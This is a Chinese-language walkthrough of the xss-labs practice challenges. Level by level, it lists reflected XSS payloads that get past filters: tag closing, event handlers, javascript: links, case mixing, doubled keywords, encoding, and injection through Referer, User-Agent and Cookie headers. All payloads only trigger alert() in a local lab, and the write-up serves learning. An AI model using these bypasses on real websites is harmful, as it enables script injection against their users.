level 1
首先查看页面源代码,弹窗他就会执行函数,从而可以进入下一关。

所以输入:
1 | <script>alert(1)</script> |

level 2
查看源码,与上面类似。所以先尝试
1 | <script>alert(1)</script> |

查看源码

查看php源码,htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

但是这里的input可以作为突破点,所以可以尝试闭合input标签
输入
1 | "><script>alert(1)</script><" |
这样就把input标签闭合了,进入下一关
level 3
同样尝试
1 | <script>alert(1)</script> |

发现和level 2不同,17行处应该也是htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
默认编码仅编码双引号。所以可以利用单引号绕过
所以尝试输入
1 | ' onclick=alert(1) ' |
点击搜索后页面没有反应,需要单击输入框方能进入下一关
level 4
依旧先尝试
1 | <script>alert(1)</script> |
不行,查看源代码,17行发现<和>被删除了

尝试level 3的方法,不过要把单引号改为双引号
1 | " onclick=alert(1) " |
通过
level 5
输入
1 | <script>alert(1)</script> |

再尝试
1 | " onclick=alert(1) " |
也会变为o_click
再尝试大小写混写
1 | <ScRiPt>alert(1)</script> |
发现并不起作用,那既然script标签不起作用,那就换一种
【Javascript实际上是一个伪协议,引导用户访问,类似于超链接】
1 | "><a href="javascript:alert(1)">1</a> <" |

点击链接,进入下一关
level 6
输入
1 | <script>alert(1)</script> |
查看源代码,类似于level 5

于是尝试
1 | "><a href="javascript:alert(1)">1</a> <" |
不行

再尝试大小写混写
1 | "><a HrEf="javascript:alert(1)">1</a> <" |

level 7
输入
1 | <script>alert(1)</script> |

发现input标签里script都被删除了
看了一下php源码
尝试双写绕过
1 | "><scrscriptipt>alert(1)</scrscriptipt><" |
level 8
输入
1 | <script>alert(1)</script> |

看这里的源码,输入的值会插入到<input>标签的value属性值中和
下方<a>标签的href属性值中。且<和>被编码,href属性值中script中被插入了_字符。
于是想到javascript:alert(1)
(伪协议:
1 | `<a href=javascript:alert(1)>123</a>` |
【Javascript实际上是一个伪协议,引导用户访问,类似于超链接】)
尝试将javascript:alert(1)进行编码

输入
1 | javascript:alert(1) |
可到下一关
level 9
输入
1 | <script>alert(1)</script> |
查看源代码

<a>标签的href属性值中出现一个语句,应当是判断是否有链接插入(即http://)
输入
1 | javascript:alert('http://') |
查看源代码

和level 8类似
所以编码
1 | javascript:alert('http://') |
通过
level 10
尝试在地址栏添加
1 | <script>alert(1)</script> |
查看源代码

这道题看了一下网上的题解(参考题解),他构造了一个语句
1 | <script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text" |
而后查看源代码发现,只有t_sort那行发生变化,所以以此为突破点

所以输入
1 | <script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss') |
通过
level 11
看源代码和level 10类似,但多了一个t_ref,构造
1 | <script>alert('1')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"&t_ret=" type="text" |

t_sort发生变化,但是双引号被编码,无法闭合。
所以换种方式,尝试抓包
(说明:本次xss-lab是用phpstudy搭的,刚开始没抓到包,搞不懂为什么,后来通过网上查找解决方案解决了)

发送到Repeater

添加referer:123

由此构造referer:”type=”text” onclick=”alert(‘1’)
而后通过浏览器响应(这里也弄了一会时间……)


进入下一关
level 12
输入
1 | <script>alert('1')</script> |
查看源代码

再试试抓包

可以发现源代码中t_ua的值就是User-Agent的值

将User-Agent的值改为”type=”text” onclick=”alert(‘1’)
点击放包就完成了

level 13

看源代码猜测应该是cookie的值。同上,抓包

改值:Cookie:user=”type=”text” onclick=”alert(‘1’)

level 15
查看源代码,搜了一下ng-include
ng-include 指令用于包含外部的 HTML 文件。包含的内容将作为指定元素的子节点。
ng-include属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
搜索题解,说是包含一个有XSS漏洞的URL就可触发这里的XSS。(有点懵)
1 | src='level1.php?name=<img src=x onerror=alert(1)>' |
level 16
输入
1 | <script>alert(1)</script> |
查看源代码

搜索得:在HTML中,在nbsp前面加“&”后面加分号“;”时表示一个“空格”
看php源代码,script,空格,/全部替换

所以,可以使用img绕过,输入
1 | <img%0asrc=x%0aonerror=alert(1)> |
这里用%0a(换行)来代替空格
level 17
看源代码,有个swf格式没法显示,要flash插件,于是,就添加了flash插件



尝试了一下
1 | <script>alert(1)</script> |
不行,查看源代码,发现<和>都被编码了

尝试
1 | onclick=alert(1) |
点击后成功

level 18
出现了这个画面

试了好几种方式都变不了,看了php源代码,和level 17差不多。所以也尝试了
1 | onclick=alert(1) |

level 19(??)
看源代码,这里与上面两题不同的地方在于它有双引号,

尝试将双引号闭合,但是,双引号会被编码。所以不行。
题解中说到这关是要flash xss,但是跟着题解做,访问xsf03.swf?a=b这一步就卡住了(flash的问题吧)……先这样吧
